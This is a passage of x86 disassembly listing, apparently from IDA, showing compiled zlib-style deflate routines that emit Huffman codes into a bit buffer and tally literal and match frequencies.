		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C3D81:				; CODE XREF: sub_4C355C+7E6j
		jmp	loc_4C3FE2
; ---------------------------------------------------------------------------


loc_4C3D86:				; CODE XREF: sub_4C355C+5C3j
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0ABEh]
		mov	[ebp+var_50], eax
		mov	ecx, 10h
		sub	ecx, [ebp+var_50]
		mov	edx, [ebp+arg_0]
		cmp	[edx+16B4h], ecx
		jle	loc_4C3E7B
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0ABCh]
		mov	[ebp+var_54], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_54]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_54]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_50]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C3EBE
; ---------------------------------------------------------------------------


loc_4C3E7B:				; CODE XREF: sub_4C355C+84Aj
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+0ABCh]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C3EBE:				; CODE XREF: sub_4C355C+91Dj
		mov	[ebp+var_58], 7
		mov	edx, 10h
		sub	edx, [ebp+var_58]
		mov	eax, [ebp+arg_0]
		cmp	[eax+16B4h], edx
		jle	loc_4C3FA5
		mov	ecx, [ebp+var_4]
		sub	ecx, 0Bh
		mov	[ebp+var_5C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_5C]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_5C]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_58]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C3FE2
; ---------------------------------------------------------------------------


loc_4C3FA5:				; CODE XREF: sub_4C355C+97Aj
		mov	edx, [ebp+var_4]
		sub	edx, 0Bh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_58]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C3FE2:				; CODE XREF: sub_4C355C+1F4j
					; sub_4C355C:loc_4C3B16j ...
		mov	[ebp+var_4], 0
		mov	edx, [ebp+var_14]
		mov	[ebp+var_18], edx
		cmp	[ebp+var_8], 0
		jnz	short loc_4C4005
		mov	[ebp+var_C], 8Ah
		mov	[ebp+var_10], 3
		jmp	short loc_4C402B
; ---------------------------------------------------------------------------


loc_4C4005:				; CODE XREF: sub_4C355C+A97j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_8]
		jnz	short loc_4C401D
		mov	[ebp+var_C], 6
		mov	[ebp+var_10], 3
		jmp	short loc_4C402B
; ---------------------------------------------------------------------------


loc_4C401D:				; CODE XREF: sub_4C355C+AAFj
		mov	[ebp+var_C], 7
		mov	[ebp+var_10], 4


loc_4C402B:				; CODE XREF: sub_4C355C+AA7j
					; sub_4C355C+ABFj
		jmp	loc_4C35A7
; ---------------------------------------------------------------------------


loc_4C4030:				; CODE XREF: sub_4C355C+5Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4C355C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		mov	ecx, [eax+1698h]
		mov	edx, [ebp+8]
		mov	eax, [edx+169Ch]
		mov	dx, [ebp+0Ch]
		mov	[eax+ecx*2], dx
		mov	eax, [ebp+8]
		mov	ecx, [eax+1690h]
		mov	edx, [ebp+8]
		mov	eax, [edx+1698h]
		mov	dl, [ebp+10h]
		mov	[ecx+eax], dl
		mov	eax, [ebp+8]
		mov	ecx, [eax+1698h]
		add	ecx, 1
		mov	edx, [ebp+8]
		mov	[edx+1698h], ecx
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_4C40AA
		mov	eax, [ebp+10h]
		mov	ecx, [ebp+8]
		mov	dx, [ecx+eax*4+8Ch]
		add	dx, 1
		mov	eax, [ebp+10h]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+8Ch], dx
		jmp	loc_4C4142
; ---------------------------------------------------------------------------


loc_4C40AA:				; CODE XREF: .text:004C4083j
		mov	edx, [ebp+8]
		mov	eax, [edx+16A8h]
		add	eax, 1
		mov	ecx, [ebp+8]
		mov	[ecx+16A8h], eax
		mov	edx, [ebp+0Ch]
		sub	edx, 1
		mov	[ebp+0Ch], edx
		mov	eax, [ebp+10h]
		xor	ecx, ecx
		mov	cl, byte_4F2CA0[eax]
		mov	edx, [ebp+8]
		mov	ax, [edx+ecx*4+490h]
		add	ax, 1
		mov	ecx, [ebp+10h]
		xor	edx, edx
		mov	dl, byte_4F2CA0[ecx]
		mov	ecx, [ebp+8]
		mov	[ecx+edx*4+490h], ax
		cmp	dword ptr [ebp+0Ch], 100h
		jnb	short loc_4C4111
		mov	edx, [ebp+0Ch]
		xor	eax, eax
		mov	al, byte_4F2AA0[edx]
		mov	[ebp-4], eax
		jmp	short loc_4C4122
; ---------------------------------------------------------------------------


loc_4C4111:				; CODE XREF: .text:004C40FFj
		mov	ecx, [ebp+0Ch]
		shr	ecx, 7
		xor	edx, edx
		mov	dl, byte_4F2BA0[ecx]
		mov	[ebp-4], edx


loc_4C4122:				; CODE XREF: .text:004C410Fj
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	dx, [ecx+eax*4+980h]
		add	dx, 1
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+980h], dx


loc_4C4142:				; CODE XREF: .text:004C40A5j
		mov	edx, [ebp+8]
		mov	eax, [edx+1694h]
		sub	eax, 1
		mov	ecx, [ebp+8]
		xor	edx, edx
		cmp	[ecx+1698h], eax
		setz	dl
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C4162	proc near		; CODE XREF: sub_4C20F2+21Cp
					; sub_4C20F2+392p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	[ebp+var_14], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1698h], 0
		jz	loc_4C4859


loc_4C417F:				; CODE XREF: sub_4C4162+6F1j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+169Ch]
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cx, [edx+eax*2]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1690h]
		mov	ecx, [ebp+var_14]
		xor	edx, edx
		mov	dl, [eax+ecx]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax
		cmp	[ebp+var_8], 0
		jnz	loc_4C42FA
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+ecx*4+2]
		mov	[ebp+var_18], eax
		mov	ecx, 10h
		sub	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_0]
		cmp	[edx+16B4h], ecx
		jle	loc_4C42B2
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dx, [ecx+eax*4]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_1C]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		sar	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_1C]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, 10h
		sub	edx, [ecx+16B4h]
		mov	ecx, edx
		sar	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_18]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C42F5
; ---------------------------------------------------------------------------


loc_4C42B2:				; CODE XREF: sub_4C4162+7Aj
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+ecx*4]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+16B4h]
		shl	eax, cl
		mov	edx, [ebp+arg_0]
		mov	cx, [edx+16B0h]
		or	cx, ax
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		add	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_0]
		mov	[edx+16B4h], ecx


loc_4C42F5:				; CODE XREF: sub_4C4162+14Ej
		jmp	loc_4C4847
; ---------------------------------------------------------------------------


loc_4C42FA:				; CODE XREF: sub_4C4162+53j
		mov	eax, [ebp+var_C]
		xor	ecx, ecx
		mov	cl, byte_4F2CA0[eax]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax+edx*4+406h]
		mov	[ebp+var_20], ecx
		mov	edx, 10h
		sub	edx, [ebp+var_20]
		mov	eax, [ebp+arg_0]
		cmp	[eax+16B4h], edx
		jle	loc_4C4406
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+ecx*4+404h]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_24]
		mov	ecx, [ecx+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		sar	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, 10h
		sub	edx, [ecx+16B4h]
		mov	ecx, edx
		sar	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_20]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C444D
; ---------------------------------------------------------------------------


loc_4C4406:				; CODE XREF: sub_4C4162+1CAj
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+ecx*4+404h]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+16B4h]
		shl	eax, cl
		mov	edx, [ebp+arg_0]
		mov	cx, [edx+16B0h]
		or	cx, ax
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		add	ecx, [ebp+var_20]
		mov	edx, [ebp+arg_0]
		mov	[edx+16B4h], ecx


loc_4C444D:				; CODE XREF: sub_4C4162+2A2j
		mov	eax, [ebp+var_10]
		mov	ecx, dword_4F245C[eax*4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jz	loc_4C4591
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		sub	eax, dword_4F2DA0[edx*4]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_28], ecx
		mov	edx, 10h
		sub	edx, [ebp+var_28]
		mov	eax, [ebp+arg_0]
		cmp	[eax+16B4h], edx
		jle	loc_4C4557
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_2C]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_2C]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_28]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C4591
; ---------------------------------------------------------------------------


loc_4C4557:				; CODE XREF: sub_4C4162+329j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	ecx, [ecx+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		add	ecx, [ebp+var_28]
		mov	edx, [ebp+arg_0]
		mov	[edx+16B4h], ecx


loc_4C4591:				; CODE XREF: sub_4C4162+2FCj
					; sub_4C4162+3F3j
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 100h
		jnb	short loc_4C45B3
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, byte_4F2AA0[ecx]
		mov	[ebp+var_48], edx
		jmp	short loc_4C45C4
; ---------------------------------------------------------------------------


loc_4C45B3:				; CODE XREF: sub_4C4162+43Fj
		mov	eax, [ebp+var_8]
		shr	eax, 7
		xor	ecx, ecx
		mov	cl, byte_4F2BA0[eax]
		mov	[ebp+var_48], ecx


loc_4C45C4:				; CODE XREF: sub_4C4162+44Fj
		mov	edx, [ebp+var_48]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dx, [ecx+eax*4+2]
		mov	[ebp+var_30], edx
		mov	eax, 10h
		sub	eax, [ebp+var_30]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+16B4h], eax
		jle	loc_4C46C0
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+arg_8]
		xor	ecx, ecx
		mov	cx, [eax+edx*4]
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_34]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_34]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_30]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C4703
; ---------------------------------------------------------------------------


loc_4C46C0:				; CODE XREF: sub_4C4162+489j
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+arg_8]
		xor	eax, eax
		mov	ax, [edx+ecx*4]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+16B4h]
		shl	eax, cl
		mov	edx, [ebp+arg_0]
		mov	cx, [edx+16B0h]
		or	cx, ax
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		add	ecx, [ebp+var_30]
		mov	edx, [ebp+arg_0]
		mov	[edx+16B4h], ecx


loc_4C4703:				; CODE XREF: sub_4C4162+55Cj
		mov	eax, [ebp+var_10]
		mov	ecx, dword_4F24D0[eax*4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jz	loc_4C4847
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_8]
		sub	eax, dword_4F2E14[edx*4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_38], ecx
		mov	edx, 10h
		sub	edx, [ebp+var_38]
		mov	eax, [ebp+arg_0]
		cmp	[eax+16B4h], edx
		jle	loc_4C480D
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_3C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_3C]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_3C]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_38]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C4847
; ---------------------------------------------------------------------------


loc_4C480D:				; CODE XREF: sub_4C4162+5DFj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	ecx, [ecx+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		add	ecx, [ebp+var_38]
		mov	edx, [ebp+arg_0]
		mov	[edx+16B4h], ecx


loc_4C4847:				; CODE XREF: sub_4C4162:loc_4C42F5j
					; sub_4C4162+5B2j ...
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+1698h]
		jb	loc_4C417F


loc_4C4859:				; CODE XREF: sub_4C4162+17j
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+402h]
		mov	[ebp+var_40], eax
		mov	ecx, 10h
		sub	ecx, [ebp+var_40]
		mov	edx, [ebp+arg_0]
		cmp	[edx+16B4h], ecx
		jle	loc_4C494E
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax+400h]
		mov	[ebp+var_44], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_44]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_44]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_40]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C4991
; ---------------------------------------------------------------------------


loc_4C494E:				; CODE XREF: sub_4C4162+717j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dx, [ecx+400h]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C4991:				; CODE XREF: sub_4C4162+7EAj
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+402h]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16ACh], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_4C4162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C49AA	proc near		; CODE XREF: sub_4C20F2+2Bp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0


loc_4C49C5:				; CODE XREF: sub_4C49AA+42j
		cmp	[ebp+var_C], 7
		jge	short loc_4C49EE
		mov	eax, [ebp+var_C]
